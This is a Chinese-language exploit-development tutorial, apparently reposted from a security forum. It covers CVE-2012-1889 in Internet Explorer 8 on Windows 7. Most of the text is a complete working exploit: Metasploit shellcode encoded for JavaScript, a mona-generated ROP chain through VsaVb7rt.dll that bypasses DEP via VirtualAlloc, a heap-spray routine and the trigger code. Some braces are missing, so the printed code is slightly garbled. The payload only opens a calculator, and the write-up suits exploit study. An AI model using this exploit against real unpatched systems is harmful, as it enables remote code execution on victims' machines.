CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第1张图片

前言

在xp下写利用代码不需要考虑ASLR+DEP的问题,在win7下一般是通过msvcr71.dll进行rop利用,在没有安装java的情况下则不会加载msvcr71.dll,本人也是好奇如果电脑没有java环境那这个漏洞怎么利用? 有没有别的利用办法? 选择这个漏洞是因为这个漏洞简单暴力,相对于其他漏洞更加便于利用。


实验环境

操作系统:Windows 7 sp1

浏览器:IE 8.0 7601.17514

调试器:IDA、x64dbg、ImmunityDebugger

其他工具:Metasploit


漏洞验证

漏洞触发poc:

这是网上找到一个poc:

CVE 2012-1889 PoC

var obj = document.getElementById('poc').object;

var src = unescape("%u0c0c%u0c0c");

while (src.length < 0x1002) src += src;

src = "\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(0);


异常基本信息:

在IE8中运行上面的poc代码,用x64dbg附加,在异常时eax和esi寄存器已经成功被构造成了错误的数值,从这个情况来看直接进行堆喷射就可以利用, 在退出程序之前需要在0x687EE2D9处下一个断点,因为在后面的调试过程中会用到。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第2张图片


Exploit开发

Metasploit生成shellcode:

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第3张图片

生成C语言的shellcode使用以下命令 :

打开cmd输入msfconsole;

use windows/exec;

set CMD calc.exe;

generate -t c。


需要注意的是,这个shellcode是C语言的,需要转换成HTML的,可以自己写个小工具转换,也可以不嫌麻烦手动转,下面是我自己转换过后的代码:

//[ Shellcode ]

var shellcode =

"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+

"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+

"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+

"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+

"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+

"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+

"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+

"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+

"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+

"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+

"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+

"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+

"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";


加载一个未开启ASLR的模块 :

在生成shellcode后还需要找到一个没有开启ASLR的模块来进行ROP的构造和利用,那么可以使用GUID去 加载一个可利用的dll文件。


ROP构造: 

测试代码:

CVE 2012-1889 POC

//[ Shellcode ]

var shellcode =

"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+

"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+

"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+

"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+

"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+

"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+

"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+

"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+

"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+

"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+

"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+

"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+

"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";

//Vulnerability Trigger

var obj = document.getElementById('poc').object;

var src = unescape("%u0C10%u0F0C"); // fill the stack with 

while (src.length < 0x1002) src += src;

src = "\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(0);


在IE8中运行上面的测试代码,用ImmunityDebugger附加进程。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第4张图片

附加成功后F9直接运行,然后点击浏览器警告并同意执行脚本,在脚本执行后会直接触发异常,这时候不用管,直接点击L按钮打开log日志,然后在命令框中输入!mona modules查看未开启ASLR的模块,很明显VsaVb7rt.dll没有开启ASLR也没有Rebase,说明这个dll可以被用来构造ROP链。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第5张图片

输入!mona rop -m VsaVb7rt.dll命令,mona插件就会自动生成一个可用的ROP链给我们,而不需要自己手动去构造,大大的节约了开发时间,主要是手动找汇编代码这个过程肯定很累,需要注意的是mona生成ROP链模板的时候会很慢,我自己I7的CPU也生成了5分钟左右才生成出来,而且还是在一个核被充分利用的情况下。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第6张图片

ROP链生成完毕后会输出到LOG日志中,但是复制粘贴比较麻烦,也可以直接在ImmunityDebugger根目录下的rop_virtualprotect.txt文件中找到。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第7张图片

可以看出来这个ROP代码是调用VirtualProtect去绕过DEP的,在生成的ROP链中有一个很明显的问题,VirtualProtect 的地址是0x????????,也就是说地址是未知的,那么拿IDA来看一下dll的导入表。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第8张图片

在dll的导入表中没有找到VirtualProtect,不过没关系还有VirtualAlloc,因为除了VirtualProtect可以改变页属性以外VirtualAlloc也是可以的,那么我们就用VirtualAlloc去绕过DEP吧。

先来对比下这VirtualProtect和VirtualAlloc的函数原型,两个函数前面3个参数的数据类型都是一样的,只有第四个参数有区别,前者是PDWORD后者是DWORD,需要注意的是在32位程序下是没有任何区别的,在64位程序下就会有很明显的区别,这是因为64位汇编的寻址模式导致的,由于本次利用仅在32位IE下进行, 所以并不需要考虑64位的问题,对64位有兴趣的同学可以自己调试分析 。

除了参数的数据类型的区别外,还有参数的作用区别,不过这个没多大关系,只需要把ROP链中VirtualProtect的参数改为VirtualAlooc的参数就可以了,一样是可以用的。

BOOL WINAPI VirtualProtect(

_In_  LPVOID lpAddress,

_In_  SIZE_T dwSize,

_In_  DWORD  flNewProtect,

_Out_ PDWORD lpflOldProtect

);

LPVOID WINAPI VirtualAlloc(

_In_opt_ LPVOID lpAddress,

_In_     SIZE_T dwSize,

_In_     DWORD  flAllocationType,

_In_     DWORD  flProtect

);


堆喷射:

现在ROP链的模板有了,接下来还需要一个堆喷射,去把ROP链和shellcode的数据构造进内存指定的位置,以下就是堆喷射的代码,关于代码内容不做详细讲解。

//堆喷射函数

function spray_heap()

var chunk_size, nopsled, evilcode, block;

chunk_size = 0x100000;

nopsled = "\u0C14\u0F0C";


//nopsled是单个内存块的数据

while (nopsled.length < 0x1000)

nopsled += nopsled;


var len = 0x163;

padding1 = nopsled.substring(0, 0x10);

padding2 = nopsled.substring(0, 0x153);

evilcode = padding1 + rop_chain + shellcode + padding2;

//console.log("evilcode.length:" + evilcode.length);

while (evilcode.length < chunk_size){ 

evilcode += evilcode;

}

block = evilcode.substring(0, chunk_size);

heap_chunks = new Array();

//堆喷射 分配200块大内存

for (var i = 0 ; i < 200 ; i++)

heap_chunks[i] = block.substring(0, block.length);

}


Exploit 代码:

在经过了前面ShellCode、ROP Chain、SprayHeap构造的过程后,只需要稍微修改下ROP Chain就可以了,以下是经过精心修改后的完整利用代码。

CVE 2012-1889 POC

//Shellcode

var shellcode =

"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+

"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+

"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+

"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+

"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+

"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+

"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+

"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+

"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+

"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+

"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+

"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+

"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";

//ROP Chain

var rop_chain =

"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]

"\u226B\u5E29" + // 0x5E29226B # pop ebp # retn [VsaVb7rt.dll]

"\u1AD2\u5E2C" + // 0x5E2C1AD2 # xchg eax, esp # retn [VsaVb7rt.dll]

"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]

"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]

"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]

"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]

//real rop chain

"\u0ce4\u5e29" + // 0x5e290ce4,  # POP EAX # RETN (VsaVb7rt.dll)

"\u113c\u5e23" + // 0x5E23113C,  # <-ptr to ptr to VirtualAlloc() 

"\ue467\u5e28" + // 0x5e28e467,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (VsaVb7rt.dll)

"\u2dd6\u5e33" + // 0x5e332dd6,  # XCHG EAX,ESI # RETN (VsaVb7rt.dll)

"\u824f\u5e2a" + // 0x5e2a824f,  # POP EBP # RETN (VsaVb7rt.dll)

"\u6f48\u5e28" + // 0x5e286f48,  # ptr to 'jmp esp' (from VsaVb7rt.dll)

"\u1802\u5e29" + // 0x5e291802,  # POP EBX # RETN (VsaVb7rt.dll)

"\u0000\u0000" + // 0x00000000,  # <- change size to mark as executable if needed (-> ebx)

"\uf986\u5e34" + // 0x5e34f986,  # POP ECX # RETN (VsaVb7rt.dll)

"\u0040\u0000" + // 0x00000040,  # newProtect (0x40)

"\u2803\u5e27" + // 0x5e272803,  # POP EDI # RETN (VsaVb7rt.dll)

"\u2804\u5e27" + // 0x5e272804,  # ROP NOP (-> edi) # alternative gadget - you may have to change order

"\u1802\u5e29" + // 0x5e291802,  ## POP EBX # RETN (VsaVb7rt.dll)

"\u0FFF\u0000" + // 0x00000FFF,  # AllocationType

"\ub5de\u5e34" + // 0x5e34b5de,  ## ADD EDX,EBX # POP EBX # RETN 10 (VsaVb7rt.dll)

"\u1000\u0000" + // 0x00001000,  # junk memsize

"\u0ce4\u5e29" + // 0x5e290ce4,  # POP EAX # RETN (VsaVb7rt.dll)

"\u4141\u4141" + // 0x41414141,  # junk, compensate

"\u4141\u4141" + // 0x41414141,  # junk, compensate

"\u4141\u4141" + // 0x41414141,  # junk, compensate

"\u4141\u4141" + // 0x41414141,  # junk, compensate

"\u9090\u9090" + // 0x90909090,  # NOPS (-> eax)

"\u05bb\u5e28"; // 0x5e2805bb,    # PUSHAD # RETN (VsaVb7rt.dll)

//堆喷射函数

function spray_heap()

var chunk_size, nopsled, evilcode, block;

chunk_size = 0x100000;

nopsled = "\u0C14\u0F0C";


while (nopsled.length < 0x1000)

nopsled += nopsled;


var len = 0x163;

padding1 = nopsled.substring(0, 0x10);

padding2 = nopsled.substring(0, 0x153);

evilcode = padding1 + rop_chain + shellcode + padding2;

//console.log("evilcode.length:" + evilcode.length);

while (evilcode.length < chunk_size){ 

evilcode += evilcode;

}

block = evilcode.substring(0, chunk_size);

heap_chunks = new Array();

//堆喷射 分配200块大内存

for (var i = 0 ; i < 200 ; i++)

heap_chunks[i] = block.substring(0, block.length);

spray_heap();

//Vulnerability Trigger

var obj = document.getElementById('poc').object;

var src = unescape("%u0C10%u0F0C"); // fill the stack with 

while (src.length < 0x1002) src += src;

src = "\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(0);


Exploit 调试验证:

在IE8中运行上面的Exploit代码,用x64dbg附加进程 ,断点是之前收集异常基本信息时下的,目的是为了调试整个ROP执行流程,如果不知道如何下断,请看漏洞验证部分的收集异常基本信息,断点断下来可以看下内存基本布局,虚函数调用代码,关键是0x6ACCE2F7处的call指令。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第9张图片

按F8到0x6ACCE2F7处的CALL指令后,拿到[eax+8]的内容0x5E2C1AD2。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第10张图片

接着在汇编代码文档中按Control+G输入 0x5E2C1AD2 到目标地址看看,可以看到这条指令作用是切栈,想要利用ROP链中的数据就必须把栈指向堆中的ROP链。

切栈 后可以看下栈区的布局,现在就可以利用ret指令弹出栈中的内容并返回到VirtualAlloc处改变内存属性了。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第11张图片

在一路F7后来到VirtualAlloc处,看到栈区已经是预期的参数了,lpAddress则执行我们的shellcode,在VirtualAlloc执行完后会执行一条JMP ESP指令跳到shellcode处。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第12张图片

在一路F7后来到了shellcode处,到这里只要shellcode执行成功,那么就说明利用成功了。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第13张图片

直接按F9后计算器弹出,利用成功。

CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP_第14张图片

- End -


原文作者:来杯柠檬红茶

原文链接:https://bbs.pediy.com/thread-247975.htm

转载请注明:转自看雪学院



更多阅读:

1、[原创]EXE导入表解析

2、[分享]MIUI稳定版刷机+部分root获取+xp安装记录

3、[原创]2017-8890堆喷的一些思考

4、不死鸟之眼——CVE-2012-0158的常见利用姿势

你可能感兴趣的:(CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP)